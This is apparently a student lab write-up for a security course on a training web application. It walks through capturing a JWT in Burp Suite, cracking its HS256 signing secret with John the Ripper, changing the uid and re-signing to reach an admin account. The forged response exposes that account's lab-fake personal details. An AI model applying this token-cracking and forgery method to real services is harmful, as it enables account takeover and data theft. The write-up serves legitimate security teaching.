

Lab 8 - Christian Graber, Juvan Thavalingam

Task 7:

1. Login as Alice and install in Burp JSON Web Tokens

2. Start Burp and go to Profile

3. Send the request “/api/account/” to repeater

4. Get the JWT Token:

```
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJqdGkiOiI3YzU3ZWY2Ny05NDBmLTQxNzMtYThhOC04NTBhZjE4NzdmYjAiLCJ1aWQiOjEwMSwiZXhwIjoxNzMzOTM1MDY0fQ.OpRSXcx1jbQto tqStiLZyPK7FS9M5U4D6YMd9cwE1Z8
```

5. Save the jwt token in a john file:

```
echo  
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJqdGkiOiI3YzU3ZWY2Ny05NDBmLTQxNzMtYThhOC04NTBhZjE4NzdmYjAiLCJ1aWQiOjEwMSwiZXhwIjoxNzMzOTM1MDY0fQ.OpRSXcx1jbQto tqStiLZyPK7FS9M5U4D6YMd9cwE1Z8 > jwt.john
```

6. Execute in terminal: john jwt.john and get the signature: pyramid

Go to repeater and set uid to “105” and recalculate Signature: pyramid we get the admin

The screenshot shows the Burp Suite interface with the following details:

Request Tab:

- JSON Web Tokens tab is selected.
- Raw content:

```
{ "typ": "JWT", "alg": "HS256" }
```
- Below the raw content, there are several options:
 - Do not automatically modify signature
 - Recalculate Signature
 - Keep original signature
 - Sign with random key pair
 - Load Secret / Key from File
- Secret / Key for Signature recalculation:
- Attack selection dropdown:
-
 CVE-2018-0114 Attack
- Timestamp: [exp] Expired
check passed -
Wed Dec 11
16:37:44 UTC
2024

Response Tab:

- Target: https://9439cc7c-1086-4c52-1
- HTTP/2 200 OK
- Content-Security-Policy: default-src 'self'; font-src 'self' fonts.gstatic.com; style-src 'self' fonts.googleapis.com; sha256-47DE0pj8HBSa+/TlW+e51Ce0eRkm5MpJWZG3hSuPU+sha256-ANfr2XkJ5Lyf600nRlx38vZaug8BgBDcONPcdTvcy=; img-src 'self' data: https://unsplash.com/photos/https://images.unsplash.com
- Date: Wed, 11 Dec 2024 16:10:59 GMT
- Server: unicorn
- Strict-Transport-Security: max-age=63072000
- Content-Length: 162
- Content-Type: application/json
- User-Agent: Python-HTTPLibrary/0.12.0
- 9 {
 "address": "Vermillion Lane 8",
 "credit_card": "2024 1969 4466 0002",
 "phone": "+41 567 889 300",
 "picture": "user105.png",
 "role": "admin",
 "uid": 105,
 "username": "victor"
}
- 10